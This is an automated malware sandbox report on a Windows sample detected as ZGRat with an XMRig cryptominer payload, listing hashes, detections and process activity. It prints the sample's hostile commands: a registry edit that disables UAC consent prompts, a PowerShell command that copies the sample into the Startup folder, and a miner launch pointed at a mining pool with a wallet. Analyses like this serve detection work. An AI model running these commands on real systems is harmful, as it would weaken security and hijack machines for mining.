Analysis
-
max time kernel
147s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
04-04-2024 02:09
Static task
static1
Behavioral task
behavioral1
Sample
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe
Resource
win10v2004-20231215-en
General
-
Target
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe
-
Size
854KB
-
MD5
9dab7bdadcab9c6bf91272fb7931787c
-
SHA1
5f1d9471c50e40cf5279a1fade18b93c1d80839c
-
SHA256
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5
-
SHA512
c9565b213b2d872d5032bbc403be4d975d134261c3a82cb429960ff4ea33930fad08bc8effb7b8bce176b9c25be8deb3113c8e25879923a9e4862218517f3a03
-
SSDEEP
12288:IcvCS1ED+vJf54ixpwnhc29JPFrAOwap6pPDtvQE7qct2d9/ax:IcvCEhrxChc0J9cLvPDtvQEftA9/a
Malware Config
Signatures
-
Detect ZGRat V1 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2916-20-0x0000000023430000-0x0000000023532000-memory.dmp family_zgrat_v1 -
Processes:
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe -
XMRig Miner payload 12 IoCs
Processes:
resource yara_rule behavioral1/memory/1732-42-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-43-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-44-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-47-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-46-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-48-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-49-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-50-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-51-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-57-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-58-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/1732-59-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig -
Drops startup file 2 IoCs
Processes:
Powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe Powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe Powershell.exe -
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
Processes:
resource yara_rule behavioral1/memory/2916-13-0x0000000020DA0000-0x0000000020E64000-memory.dmp agile_net -
Suspicious use of SetThreadContext 1 IoCs
Processes:
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exedescription pid process target process PID 2916 set thread context of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exePowershell.exepid process 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 4468 Powershell.exe 4468 Powershell.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exePowershell.exeAddInProcess.exedescription pid process Token: SeDebugPrivilege 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe Token: SeDebugPrivilege 4468 Powershell.exe Token: SeDebugPrivilege 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe Token: SeLockMemoryPrivilege 1732 AddInProcess.exe Token: SeLockMemoryPrivilege 1732 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
AddInProcess.exepid process 1732 AddInProcess.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exedescription pid process target process PID 2916 wrote to memory of 4468 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe Powershell.exe PID 2916 wrote to memory of 4468 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe Powershell.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe PID 2916 wrote to memory of 1732 2916 d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe AddInProcess.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe"C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe"1⤵
- UAC bypass
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2916 -
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' -Force2⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4468
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RL3237VGvpn6a2PLwAPVzTRyWmPhKQVn9k.RIG_CPU -p x --cpu-max-threads-hint=502⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1732
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82